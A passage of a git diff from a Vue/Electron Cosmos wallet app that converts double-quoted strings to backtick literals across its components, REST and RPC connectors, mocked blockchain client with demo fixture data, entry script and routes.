h:mm:ss a`) } catch (error) { return null } @@ -47,11 +47,11 @@ export default { devMode: process.env.PREVIEW !== undefined ? JSON.parse(process.env.PREVIEW) - : process.env.NODE_ENV === "development" + : process.env.NODE_ENV === `development` }), methods: { pretty(num) { - return numeral(num).format("0,0.00") + return numeral(num).format(`0,0.00`) }, viewTransaction() { // console.log("TODO: implement tx viewer") diff --git a/app/src/renderer/components/wallet/TmLiTransaction.vue b/app/src/renderer/components/wallet/TmLiTransaction.vue index 57e8f15a0a..077c209453 100644 --- a/app/src/renderer/components/wallet/TmLiTransaction.vue +++ b/app/src/renderer/components/wallet/TmLiTransaction.vue @@ -60,7 +60,7 @@ const defaultTransaction = { } export default { - name: "tm-li-transaction", + name: `tm-li-transaction`, computed: { tx() { return this.transaction.tx.value.msg[0].value @@ -90,7 +90,7 @@ export default { }, date() { try { - return moment(this.transaction.time).format("MMMM Do YYYY, h:mm:ss a") + return moment(this.transaction.time).format(`MMMM Do YYYY, h:mm:ss a`) } catch (error) { return null } @@ -100,11 +100,11 @@ export default { devMode: process.env.PREVIEW !== undefined ? JSON.parse(process.env.PREVIEW) - : process.env.NODE_ENV === "development" + : process.env.NODE_ENV === `development` }), methods: { pretty(num) { - return numeral(num).format("0,0.00") + return numeral(num).format(`0,0.00`) }, viewTransaction() { // console.log("TODO: implement tx viewer") diff --git a/app/src/renderer/components/wallet/TmModalSendConfirmation.vue b/app/src/renderer/components/wallet/TmModalSendConfirmation.vue index ef269bfce3..720d016ba6 100644 --- a/app/src/renderer/components/wallet/TmModalSendConfirmation.vue +++ b/app/src/renderer/components/wallet/TmModalSendConfirmation.vue @@ -22,8 +22,8 @@ modal.tm-modal-send-confirmation(:close="close") import { TmBtn, TmListItem } from "@tendermint/ui" import Modal from "common/TmModal" export default { - name: "tm-modal-send-confirmation", - props: ["amount", "denom", "recipient"], + name: `tm-modal-send-confirmation`, + props: [`amount`, `denom`, `recipient`], components: { TmBtn, TmListItem, @@ -31,10 +31,10 @@ export default { }, methods: { close() { - this.$emit("canceled") + this.$emit(`canceled`) }, approve() { - this.$emit("approved") + this.$emit(`approved`) } } } diff --git a/app/src/renderer/connectors/lcdClient.js b/app/src/renderer/connectors/lcdClient.js index a2424f472b..21b0d00363 100644 --- a/app/src/renderer/connectors/lcdClient.js +++ b/app/src/renderer/connectors/lcdClient.js @@ -1,6 +1,6 @@ "use strict" -const axios = require("axios") +const axios = require(`axios`) // returns an async function which makes a request for the given // HTTP method (GET/POST/DELETE/etc) and path (/foo/bar) @@ -13,13 +13,13 @@ function req(method, path) { // returns an async function which makes a request for the given // HTTP method and path, which accepts arguments to be appended // to the path (/foo/{arg}/...) -function argReq(method, prefix, suffix = "") { +function argReq(method, prefix, suffix = ``) { return function(args, data) { // `args` can either be a single value or an array if (Array.isArray(args)) { - args = args.join("/") + args = args.join(`/`) } - if (method === "DELETE") { + if (method === `DELETE`) { data = { data } } return this.request(method, `${prefix}/${args}${suffix}`, data) @@ -27,7 +27,7 @@ function argReq(method, prefix, suffix = "") { } class Client { - constructor(server = "http://localhost:8998") { + constructor(server = `http://localhost:8998`) { this.server = server } @@ -45,7 +45,7 @@ class Client { } } -let fetchAccount = argReq("GET", "/accounts") +let fetchAccount = argReq(`GET`, `/accounts`) Object.assign(Client.prototype, { // meta @@ -54,20 +54,20 @@ Object.assign(Client.prototype, { }, // tx - postTx: req("POST", "/tx"), + postTx: req(`POST`, `/tx`), // keys - generateSeed: req("GET", "/keys/seed"), - listKeys: req("GET", "/keys"), - storeKey: req("POST", "/keys"), - getKey: argReq("GET", "/keys"), - updateKey: argReq("PUT", "/keys"), + generateSeed: req(`GET`, `/keys/seed`), + listKeys: req(`GET`, `/keys`), + storeKey: req(`POST`, `/keys`), + getKey: argReq(`GET`, `/keys`), + updateKey: argReq(`PUT`, `/keys`), // axios handles DELETE requests different then other requests, we have to but the body in a config object with the prop data - deleteKey: argReq("DELETE", "/keys"), + deleteKey: argReq(`DELETE`, `/keys`), // coins - send: argReq("POST", "/accounts", "/send"), - ibcSend: argReq("POST", "/ibc", "/send"), + send: argReq(`POST`, `/accounts`, `/send`), + ibcSend: argReq(`POST`, `/ibc`, `/send`), queryAccount(address) { return fetchAccount .call(this, address) @@ -76,7 +76,7 @@ Object.assign(Client.prototype, { }) .catch(err => { // if account not found, return null instead of throwing - if (err.message.includes("account bytes are empty")) { + if (err.message.includes(`account bytes are empty`)) { return null } throw err @@ -84,24 +84,24 @@ Object.assign(Client.prototype, { }, txs: function(addr) { return Promise.all([ - req("GET", `/txs?tag=sender_bech32='${addr}'`).call(this), - req("GET", `/txs?tag=recipient_bech32='${addr}'`).call(this) + req(`GET`, `/txs?tag=sender_bech32='${addr}'`).call(this), + req(`GET`, `/txs?tag=recipient_bech32='${addr}'`).call(this) ]).then(([senderTxs, recipientTxs]) => [].concat(senderTxs, recipientTxs)) }, - tx: argReq("GET", "/txs"), + tx: argReq(`GET`, `/txs`), /* ============ STAKE ============ */ // Get all delegations information from a delegator getDelegator: function(addr) { - return req("GET", `/stake/delegators/${addr}`).call(this) + return req(`GET`, `/stake/delegators/${addr}`).call(this) }, // Get all txs from a delegator getDelegatorTxs: function(addr, types) { if (!types) { - return req("GET", `/stake/delegators/${addr}/txs`).call(this) + return req(`GET`, `/stake/delegators/${addr}/txs`).call(this) } else { - return req("GET", `/stake/delegators/${addr}/txs?type=${types}`).call( + return req(`GET`, `/stake/delegators/${addr}/txs?type=${types}`).call( this ) } @@ -116,10 +116,10 @@ Object.assign(Client.prototype, { // }, // Get a list containing all the validator candidates - getCandidates: req("GET", "/stake/validators"), + getCandidates: req(`GET`, `/stake/validators`), // Get information from a validator getCandidate: function(addr) { - return req("GET", `/stake/validators/${addr}`).call(this) + return req(`GET`, `/stake/validators/${addr}`).call(this) }, // // Get all of the validator bonded delegators // getValidatorDelegators: function(addr) { @@ -127,10 +127,10 @@ Object.assign(Client.prototype, { // }, // Get the list of the validators in the latest validator set - getValidatorSet: req("GET", "/validatorsets/latest"), + getValidatorSet: req(`GET`, `/validatorsets/latest`), updateDelegations: function(delegatorAddr, data) { - return req("POST", `/stake/delegators/${delegatorAddr}/delegations`).call( + return req(`POST`, `/stake/delegators/${delegatorAddr}/delegations`).call( this, data ) @@ -139,13 +139,13 @@ Object.assign(Client.prototype, { // Query a delegation between a delegator and a validator queryDelegation: function(delegatorAddr, validatorAddr) { return req( - "GET", + `GET`, `/stake/delegators/${delegatorAddr}/delegations/${validatorAddr}` ).call(this) }, queryUnbonding: function(delegatorAddr, validatorAddr) { return req( - "GET", + `GET`, `/stake/delegators/${delegatorAddr}/unbonding_delegations/${validatorAddr}` ).call(this) }, @@ -153,7 +153,7 @@ Object.assign(Client.prototype, { /* ============ Slashing ============ */ queryValidatorSigningInfo: function(pubKey) { - return req("GET", `/slashing/signing_info/${pubKey}`).call(this) + return req(`GET`, `/slashing/signing_info/${pubKey}`).call(this) } }) diff --git a/app/src/renderer/connectors/lcdClientMock.js b/app/src/renderer/connectors/lcdClientMock.js index f1ee8e7b5a..80ff6eb6c8 100644 --- a/app/src/renderer/connectors/lcdClientMock.js +++ b/app/src/renderer/connectors/lcdClientMock.js @@ -1,23 +1,23 @@ "use strict" -const b32 = require("../scripts/b32.js") -const { getHeight } = require("./rpcWrapperMock.js") +const b32 = require(`../scripts/b32.js`) +const { getHeight } = require(`./rpcWrapperMock.js`) -const botAddress = "cosmosaccaddr1p6zajjw6xged056andyhn62lm7axwzyspkzjq0" +const botAddress = `cosmosaccaddr1p6zajjw6xged056andyhn62lm7axwzyspkzjq0` const addresses = [ - "cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9", - "cosmosaccaddr1pxdf0lvq5jvl9uxznklgc5gxuwzpdy5ynem546", + `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9`, + `cosmosaccaddr1pxdf0lvq5jvl9uxznklgc5gxuwzpdy5ynem546`, botAddress ] const validators = [ - "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw", - "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au", - "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctgurrg7n" + `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw`, + `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, + `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctgurrg7n` ] let state = { keys: [ { - name: "default", - password: "1234567890", + name: `default`, + password: `1234567890`, address: addresses[0] } ], @@ -25,20 +25,20 @@ let state = { [addresses[0]]: { coins: [ { - denom: "mycoin", - amount: "1000" + denom: `mycoin`, + amount: `1000` }, { - denom: "fermion", - amount: "2300" + denom: `fermion`, + amount: `2300` }, { - denom: "steak", - amount: "1000" + denom: `steak`, + amount: `1000` } ], - sequence: "1", - account_number: "1" + sequence: `1`, + account_number: `1` } }, nonces: { [addresses[0]]: 0 }, @@ -48,14 +48,14 @@ let state = { value: { msg: [ { - type: "cosmos-sdk/Send", + type: `cosmos-sdk/Send`, value: { inputs: [ { coins: [ { - denom: "jbcoins", - amount: "1234" + denom: `jbcoins`, + amount: `1234` } ], address: makeHash() @@ -65,8 +65,8 @@ let state = { { coins: [ { - denom: "jbcoins", - amount: "1234" + denom: `jbcoins`, + amount: `1234` } ], address: addresses[0] @@ -77,7 +77,7 @@ let state = { ] } }, - hash: "999ADECC2DE8C3AC2FD4F45E5E1081747BBE504A", + hash: `999ADECC2DE8C3AC2FD4F45E5E1081747BBE504A`, height: 1 }, { @@ -85,14 +85,14 @@ let state = { value: { msg: [ { - type: "cosmos-sdk/Send", + type: `cosmos-sdk/Send`, value: { inputs: [ { coins: [ { - denom: "fabocoins", - amount: "1234" + denom: `fabocoins`, + amount: `1234` } ], address: addresses[0] @@ -102,8 +102,8 @@ let state = { { coins: [ { - denom: "fabocoins", - amount: "1234" + denom: `fabocoins`, + amount: `1234` } ], address: makeHash() @@ -114,7 +114,7 @@ let state = { ] } }, - hash: "A7C6DE5CA923AF08E6088F1348047F16BABB9F48", + hash: `A7C6DE5CA923AF08E6088F1348047F16BABB9F48`, height: 150 } ], @@ -124,7 +124,7 @@ let state = { { delegator_addr: addresses[0], validator_addr: validators[0], - shares: "14", + shares: `14`, height: 123 } ], @@ -135,83 +135,83 @@ let state = { { owner: validators[0], pub_key: { - type: "AC26791624DE60", - data: "t3zVnKU42WNH+NtYFcstZRLFVULWV8VagoP0HwW43Pk=" + type: `AC26791624DE60`, + data: `t3zVnKU42WNH+NtYFcstZRLFVULWV8VagoP0HwW43Pk=` }, revoked: false, - tokens: "14", - delegator_shares: "14", + tokens: `14`, + delegator_shares: `14`, description: { - website: "www.monty.ca", - details: "Mr Mounty", - moniker: "mr_mounty", - country: "Canada" + website: `www.monty.ca`, + details: `Mr Mounty`, + moniker: `mr_mounty`, + country: `Canada` }, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` }, { owner: validators[1], pub_key: { - type: "AC26791624DE60", - data: "9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=" + type: `AC26791624DE60`, + data: `9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=` }, - tokens: "0", - delegator_shares: "0", + tokens: `0`, + delegator_shares: `0`, description: { - website: "www.greg.com", - details: "Good Guy Greg", - moniker: "good_greg", - country: "USA" + website: `www.greg.com`, + details: `Good Guy Greg`, + moniker: `good_greg`, + country: `USA` }, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` }, { owner: validators[2], pub_key: { - type: "AC26791624DE60", - data: "dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=" + type: `AC26791624DE60`, + data: `dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=` }, - tokens: "19", - delegator_shares: "19", + tokens: `19`, + delegator_shares: `19`, description: { - details: "Herr Schmidt", - website: "www.schmidt.de", - moniker: "herr_schmidt_revoked", - country: "DE" + details: `Herr Schmidt`, + website: `www.schmidt.de`, + moniker: `herr_schmidt_revoked`, + country: `DE` }, revoked: true, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` } ], sendHeight: 2, signing_info: { start_height: 2, index_offset: 1, - jailed_until: "1970-01-01T00:00:00Z", + jailed_until: `1970-01-01T00:00:00Z`, signed_blocks_counter: 1 } } @@ -225,7 +225,7 @@ module.exports = { // keys async generateSeed() { - return "grace admit inherit female grant pledge shine inquiry pencil acid capable damage elegant voice aunt abandon grace admit inherit female grant pledge shine inquiry" + return `grace admit inherit female grant pledge shine inquiry pencil acid capable damage elegant voice aunt abandon grace admit inherit female grant pledge shine inquiry` }, async storeKey({ name, password, seed }) { let key = { @@ -250,7 +250,7 @@ module.exports = { let key = state.keys.find(k => k.name === name) if (key.password !== old_password) { // eslint-disable-line camelcase - throw new Error("Passwords do not match") + throw new Error(`Passwords do not match`) } key.password = new_password // eslint-disable-line camelcase }, @@ -258,7 +258,7 @@ module.exports = { async deleteKey(account, { name, password }) { let key = state.keys.find(k => k.name === name) if (key.password !== password) { - throw new Error("Passwords do not match") + throw new Error(`Passwords do not match`) } state.keys = state.keys.filter(k => k.name !== name) }, @@ -286,7 +286,7 @@ module.exports = { let fromKey = state.keys.find(a => a.name === req.name) if (!fromKey) throw Error( - "Key you want to send from does not exist in the lcd connection mock" + `Key you want to send from does not exist in the lcd connection mock` ) return send(to, fromKey.address, req) }, @@ -307,7 +307,7 @@ module.exports = { let fromAccount = state.accounts[fromKey.address] let delegator = state.stake[fromKey.address] if (fromAccount == null) { - results.push(txResult(1, "Nonexistent account")) + results.push(txResult(1, `Nonexistent account`)) return results } // check nonce @@ -324,11 +324,11 @@ module.exports = { let { denom } = tx.delegation let amount = parseInt(tx.delegation.amount) if (amount < 0) { - results.push(txResult(1, "Amount cannot be negative")) + results.push(txResult(1, `Amount cannot be negative`)) return results } if (fromAccount.coins.find(c => c.denom === denom).amount < amount) { - results.push(txResult(1, "Not enough coins in your account")) + results.push(txResult(1, `Not enough coins in your account`)) return results } // update sender account @@ -350,7 +350,7 @@ module.exports = { delegation = { delegator_addr: fromKey.address, validator_addr: tx.validator_addr, - shares: "0", + shares: `0`, height: 0 } delegator.delegations.push(delegation) @@ -377,7 +377,7 @@ module.exports = { parseInt(candidate.delegator_shares) + amount ).toString() - storeTx("cosmos-sdk/MsgDelegate", tx) + storeTx(`cosmos-sdk/MsgDelegate`, tx) results.push(txResult(0)) } @@ -387,19 +387,19 @@ module.exports = { let amount = parseInt(tx.shares) // update sender balance - let coinBalance = fromAccount.coins.find(c => c.denom === "steak") + let coinBalance = fromAccount.coins.find(c => c.denom === `steak`) coinBalance.amount = String(parseInt(coinBalance) + amount) // update stake if (!delegator) { - results.push(txResult(2, "Nonexistent delegator")) + results.push(txResult(2, `Nonexistent delegator`)) return results } let delegation = delegator.delegations.find( d => d.validator_addr === tx.validator_addr ) if (!delegation) { - results.push(txResult(2, "Nonexistent delegation")) + results.push(txResult(2, `Nonexistent delegation`)) return results } let shares = parseInt(delegation.shares) @@ -416,7 +416,7 @@ module.exports = { }) ) - storeTx("cosmos-sdk/BeginUnbonding", tx) + storeTx(`cosmos-sdk/BeginUnbonding`, tx) results.push(txResult(0)) } @@ -424,7 +424,7 @@ module.exports = { incrementSequence(fromAccount) if (!delegator) { - results.push(txResult(2, "Nonexistent delegator")) + results.push(txResult(2, `Nonexistent delegator`)) return results } @@ -441,10 +441,10 @@ module.exports = { let amount = unbondingDelegation.shares // update sender balance - let coinBalance = fromAccount.coins.find(c => c.denom === "steak") + let coinBalance = fromAccount.coins.find(c => c.denom === `steak`) coinBalance.amount = String(parseInt(coinBalance) + amount) - storeTx("cosmos-sdk/CompleteUnbonding", tx) + storeTx(`cosmos-sdk/CompleteUnbonding`, tx) results.push(txResult(0)) } @@ -454,7 +454,7 @@ module.exports = { let delegator = state.stake[delegatorAddress] if (!delegator) return { - shares: "0" + shares: `0` } return delegator.delegations.find( ({ validator_addr }) => validator_addr === validatorAddress @@ -473,10 +473,10 @@ module.exports = { return delegator }, getDelegatorTxs(addr, types = []) { - if (types.length === 0) types = ["bonding", "unbonding"] + if (types.length === 0) types = [`bonding`, `unbonding`] types = types.map(type => { - if (type === "bonding") return "cosmos-sdk/MsgDelegate" - if (type === "unbonding") return "cosmos-sdk/BeginUnbonding" + if (type === `bonding`) return `cosmos-sdk/MsgDelegate` + if (type === `unbonding`) return `cosmos-sdk/BeginUnbonding` }) return getTxs(types) }, @@ -503,8 +503,8 @@ module.exports = { } function makeHash() { - var text = "" - var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + var text = `` + var possible = `ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789` for (var i = 0; i < 40; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)) @@ -515,17 +515,17 @@ function makeHash() { function send(to, from, req) { let fromAccount = state.accounts[from] if (fromAccount == null) { - return txResult(1, "Nonexistent account") + return txResult(1, `Nonexistent account`) } for (let { denom, amount } of req.amount) { if (parseInt(amount) < 0) { - return txResult(1, "Amount cannot be negative") + return txResult(1, `Amount cannot be negative`) } if ( fromAccount.coins.find(c => c.denom === denom).amount < parseInt(amount) ) { - return txResult(1, "Not enough coins in your account") + return txResult(1, `Not enough coins in your account`) } } @@ -551,13 +551,13 @@ function send(to, from, req) { if (!receiverAccount) { receiverAccount = state.accounts[to] = { coins: [], - sequence: "0" + sequence: `0` } } for (let { denom, amount } of req.amount) { let receiverBalance = receiverAccount.coins.find(c => c.denom === denom) if (!receiverBalance) { - receiverBalance = { amount: "0", denom } + receiverBalance = { amount: `0`, denom } receiverAccount.coins.push(receiverBalance) } receiverBalance.amount = String( @@ -566,7 +566,7 @@ function send(to, from, req) { } // log tx - storeTx("cosmos-sdk/Send", { + storeTx(`cosmos-sdk/Send`, { inputs: [ { coins: req.amount, @@ -641,22 +641,22 @@ function getTxs(types) { // return txResult() // } -function txResult(code = 0, message = "") { +function txResult(code = 0, message = ``) { return { check_tx: { code: code, - data: "", + data: ``, log: message, - gas: "0", - fee: "0" + gas: `0`, + fee: `0` }, deliver_tx: { code: 0, - data: "", - log: "", + data: ``, + log: ``, tags: [] }, - hash: "999ADECC2DE8C3AC2FD4F45E5E1081747BBE504A", + hash: `999ADECC2DE8C3AC2FD4F45E5E1081747BBE504A`, height: 0 } } diff --git a/app/src/renderer/connectors/node.js b/app/src/renderer/connectors/node.js index f6eb2a771b..86ddae82ce 100644 --- a/app/src/renderer/connectors/node.js +++ b/app/src/renderer/connectors/node.js @@ -1,18 +1,18 @@ "use strict" -const RestClient = require("./lcdClient.js") -const mockedRestClient = require("./lcdClientMock.js") -const RpcWrapper = require("./rpcWrapper.js") -const MockedRpcWrapper = require("./rpcWrapperMock.js") +const RestClient = require(`./lcdClient.js`) +const mockedRestClient = require(`./lcdClientMock.js`) +const RpcWrapper = require(`./rpcWrapper.js`) +const MockedRpcWrapper = require(`./rpcWrapperMock.js`) module.exports = function(lcdPort, mocked = false) { - const LCD_SERVER = "http://localhost:" + lcdPort + const LCD_SERVER = `http://localhost:` + lcdPort let connector = { mocked, lcdPort, // activate or deactivate the mocked lcdClient setup: mocked => { - console.log("Setting connector to state:" + (mocked ? "mocked" : "live")) + console.log(`Setting connector to state:` + (mocked ? `mocked` : `live`)) let newRestClient = mocked ? mockedRestClient : new RestClient(LCD_SERVER) let newRpcClient = mocked ? MockedRpcWrapper(connector) diff --git a/app/src/renderer/connectors/rpcWrapper.js b/app/src/renderer/connectors/rpcWrapper.js index 5d4123316a..b235b15d04 100644 --- a/app/src/renderer/connectors/rpcWrapper.js +++ b/app/src/renderer/connectors/rpcWrapper.js @@ -1,7 +1,7 @@ "use strict" -const RpcClient = require("tendermint") -const { ipcRenderer } = require("electron") +const RpcClient = require(`tendermint`) +const { ipcRenderer } = require(`electron`) module.exports = function setRpcWrapper(container) { let rpcWrapper = { @@ -14,11 +14,11 @@ module.exports = function setRpcWrapper(container) { rpcDisconnect() { if (!container.rpc) return - console.log("removing old websocket") + console.log(`removing old websocket`) // ignore disconnect error - container.rpc.removeAllListeners("error") - container.rpc.on("error", () => {}) + container.rpc.removeAllListeners(`error`) + container.rpc.on(`error`, () => {}) container.rpc.ws.destroy() @@ -31,13 +31,13 @@ module.exports = function setRpcWrapper(container) { rpcWrapper.rpcDisconnect() } - console.log("init rpc with " + nodeIP) + console.log(`init rpc with ` + nodeIP) let newRpc = new RpcClient(`ws://${nodeIP}`) rpcWrapper.rpcInfo.connected = true // we need to check immediately if the connection fails. later we will not be able to check this error - newRpc.on("error", err => { - console.log("rpc error", err) - if (err.code === "ECONNREFUSED" || err.code === "ENETUNREACH") { + newRpc.on(`error`, err => { + console.log(`rpc error`, err) + if (err.code === `ECONNREFUSED` || err.code === `ENETUNREACH`) { rpcWrapper.rpcInfo.connected = false } }) @@ -49,9 +49,9 @@ module.exports = function setRpcWrapper(container) { if (alreadyConnecting) return rpcWrapper.rpcInfo.connecting = true - console.log("trying to reconnect") + console.log(`trying to reconnect`) - ipcRenderer.send("reconnect") + ipcRenderer.send(`reconnect`) } } diff --git a/app/src/renderer/connectors/rpcWrapperMock.js b/app/src/renderer/connectors/rpcWrapperMock.js index 7fd0914472..ff60f906fb 100644 --- a/app/src/renderer/connectors/rpcWrapperMock.js +++ b/app/src/renderer/connectors/rpcWrapperMock.js @@ -1,7 +1,7 @@ "use strict" -const mockValidators = require("../../helpers/json/mock_validators.json") -const { sleep } = require("../scripts/common.js") +const mockValidators = require(`../../helpers/json/mock_validators.json`) +const { sleep } = require(`../scripts/common.js`) let state = { blockMetas: [], blocks: [], connected: true } createBlockMetas(state) @@ -9,10 +9,10 @@ createBlockMetas(state) const RpcClientMock = { on: () => {}, subscribe: (args, cb) => { - if (args.query === "tm.event = 'NewBlock'") { + if (args.query === `tm.event = 'NewBlock'`) { produceBlocks(cb) } - if (args.query === "tm.event = 'NewBlockHeader'") { + if (args.query === `tm.event = 'NewBlockHeader'`) { produceBlockHeaders(cb) } }, @@ -28,7 +28,7 @@ const RpcClientMock = { sync_info: { latest_block_height: 42 }, - node_info: { network: "offline demo" } + node_info: { network: `offline demo` } }), removeAllListeners: () => {}, ws: { @@ -41,7 +41,7 @@ module.exports = function setRPCWrapperMock(container) { // RPC // made this a subobject so we can manipulate it in here while assigning it to the outer node object rpcInfo: { - nodeIP: "127.0.0.1", + nodeIP: `127.0.0.1`, connecting: false, connected: true }, @@ -56,7 +56,7 @@ module.exports = function setRPCWrapperMock(container) { }, rpcReconnect: async () => { rpcWrapper.rpcConnect() - return "127.0.0.1" + return `127.0.0.1` } } @@ -72,7 +72,7 @@ function createBlockMeta(time, height) { header: { time, height }, block_id: { hash: makeBlockHash() }, height, - chain_id: "offline demo", + chain_id: `offline demo`, last_block_id: { hash: makeBlockHash() } } } @@ -82,7 +82,7 @@ function createBlock(height) { hash: makeBlockHash(), header: { height, - chain_id: "offline demo", + chain_id: `offline demo`, last_block_id: { hash: makeBlockHash(), parts: { total: 0, hash: makeBlockHash() } @@ -129,8 +129,8 @@ async function produceBlocks(cb) { } function makeBlockHash() { - var text = "" - var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + var text = `` + var possible = `ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789` for (var i = 0; i < 40; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)) diff --git a/app/src/renderer/main.js b/app/src/renderer/main.js index 3679f4d288..82b0515f32 100644 --- a/app/src/renderer/main.js +++ b/app/src/renderer/main.js @@ -13,7 +13,7 @@ import routes from "./routes" import Node from "./connectors/node" import Store from "./vuex/store" -const config = remote.getGlobal("config") +const config = remote.getGlobal(`config`) // exporting this for testing let store @@ -21,13 +21,13 @@ let node let router // Raven serves automatic error reporting. It is turned off by default -Raven.config("").install() +Raven.config(``).install() // handle uncaught errors -window.addEventListener("unhandledrejection", function(event) { +window.addEventListener(`unhandledrejection`, function(event) { Raven.captureException(event.reason) }) -window.addEventListener("error", function(event) { +window.addEventListener(`error`, function(event) { Raven.captureException(event.reason) }) Vue.config.errorHandler = error => { @@ -42,19 +42,19 @@ Vue.use(Tooltip, { delay: 1 }) Vue.use(Vuelidate) // directive to focus form fields -Vue.directive("focus", { +Vue.directive(`focus`, { inserted: function(el) { el.focus() } }) async function main() { - let lcdPort = getQueryParameter("lcd_port") - console.log("Expecting lcd-server on port: " + lcdPort) + let lcdPort = getQueryParameter(`lcd_port`) + console.log(`Expecting lcd-server on port: ` + lcdPort) node = Node(lcdPort, config.mocked) store = Store({ node }) - store.dispatch("loadTheme") + store.dispatch(`loadTheme`) router = new Router({ scrollBehavior: () => ({ y: 0 }), @@ -63,54 +63,54 @@ async function main() { router.beforeEach((to, from, next) => { if (from.fullPath !== to.fullPath && !store.getters.user.pauseHistory) - store.commit("addHistory", from.fullPath) + store.commit(`addHistory`, from.fullPath) next() }) - ipcRenderer.on("error", (event, error) => { + ipcRenderer.on(`error`, (event, error) => { switch (error.code) { - case "NO_NODES_AVAILABLE": - store.commit("setModalNoNodes", true) + case `NO_NODES_AVAILABLE`: + store.commit(`setModalNoNodes`, true) break default: - store.commit("setModalError", true) - store.commit("setModalErrorMessage", error.message) + store.commit(`setModalError`, true) + store.commit(`setModalErrorMessage`, error.message) } }) - ipcRenderer.on("approve-hash", (event, hash) => { + ipcRenderer.on(`approve-hash`, (event, hash) => { console.log(hash) - store.commit("setNodeApprovalRequired", hash) + store.commit(`setNodeApprovalRequired`, hash) }) let firstStart = true - ipcRenderer.on("connected", (event, nodeIP) => { + ipcRenderer.on(`connected`, (event, nodeIP) => { node.rpcConnect(nodeIP) - store.dispatch("rpcSubscribe") - store.dispatch("subscribeToBlocks") + store.dispatch(`rpcSubscribe`) + store.dispatch(`subscribeToBlocks`) if (firstStart) { - store.dispatch("showInitialScreen") + store.dispatch(`showInitialScreen`) // test connection node.lcdConnected().then(connected => { if (connected) { - ipcRenderer.send("successful-launch") + ipcRenderer.send(`successful-launch`) } }) firstStart = false } else { - store.dispatch("reconnected") + store.dispatch(`reconnected`) } }) - ipcRenderer.send("booted") + ipcRenderer.send(`booted`) return new Vue({ router, ...App, store - }).$mount("#app") + }).$mount(`#app`) } main() @@ -123,8 +123,8 @@ module.exports.router = router function getQueryParameter(name) { let queryString = window.location.search.substring(1) let pairs = queryString - .split("&") - .map(pair => pair.split("=")) + .split(`&`) + .map(pair => pair.split(`=`)) .filter(pair => pair[0] === name) if (pairs.length > 0) { return pairs[0][1] diff --git a/app/src/renderer/routes.js b/app/src/renderer/routes.js index 6d9e641a50..5149061227 100644 --- a/app/src/renderer/routes.js +++ b/app/src/renderer/routes.js @@ -2,80 +2,80 @@ function r(type, pageName) { return require(`./components/${type}/Page${pageName}`).default } -let common = r.bind(null, "common") -let govern = r.bind(null, "govern") -let staking = r.bind(null, "staking") -let wallet = r.bind(null, "wallet") +let common = r.bind(null, `common`) +let govern = r.bind(null, `govern`) +let staking = r.bind(null, `staking`) +let wallet = r.bind(null, `wallet`) export default [ { - path: "/proposals", - name: "proposals", - component: govern("Proposals") + path: `/proposals`, + name: `proposals`, + component: govern(`Proposals`) }, - { path: "/proposals/new", component: govern("ProposalsNew") }, - { path: "/proposals/new/adjust", component: govern("ProposalsNewAdjust") }, - { path: "/proposals/new/amend", component: govern("ProposalsNewAmend") }, - { path: "/proposals/new/create", component: govern("ProposalsNewCreate") }, - { path: "/proposals/new/text", component: govern("ProposalsNewText") }, + { path: `/proposals/new`, component: govern(`ProposalsNew`) }, + { path: `/proposals/new/adjust`, component: govern(`ProposalsNewAdjust`) }, + { path: `/proposals/new/amend`, component: govern(`ProposalsNewAmend`) }, + { path: `/proposals/new/create`, component: govern(`ProposalsNewCreate`) }, + { path: `/proposals/new/text`, component: govern(`ProposalsNewText`) }, { - path: "/proposals/new/upgrade", - component: govern("ProposalsNewUpgrade") + path: `/proposals/new/upgrade`, + component: govern(`ProposalsNewUpgrade`) }, { - path: "/proposals/:proposal", - name: "proposal", - component: govern("Proposal") + path: `/proposals/:proposal`, + name: `proposal`, + component: govern(`Proposal`) }, // STAKE { - path: "/staking", - name: "staking", - component: staking("Staking"), - redirect: "/staking/My Stake/", + path: `/staking`, + name: `staking`, + component: staking(`Staking`), + redirect: `/staking/My Stake/`, children: [ { - path: "My Stake", - name: "My Stake", + path: `My Stake`, + name: `My Stake`, component: require(`./components/staking/TabMyStake`).default }, { - path: "Validators", - name: "Validators", + path: `Validators`, + name: `Validators`, component: require(`./components/staking/TabValidators`).default } ] }, { - path: "/staking/validators/:validator", - name: "validator", - component: staking("Validator") + path: `/staking/validators/:validator`, + name: `validator`, + component: staking(`Validator`) }, { - path: "/preferences", - name: "preferences", - component: common("Preferences") + path: `/preferences`, + name: 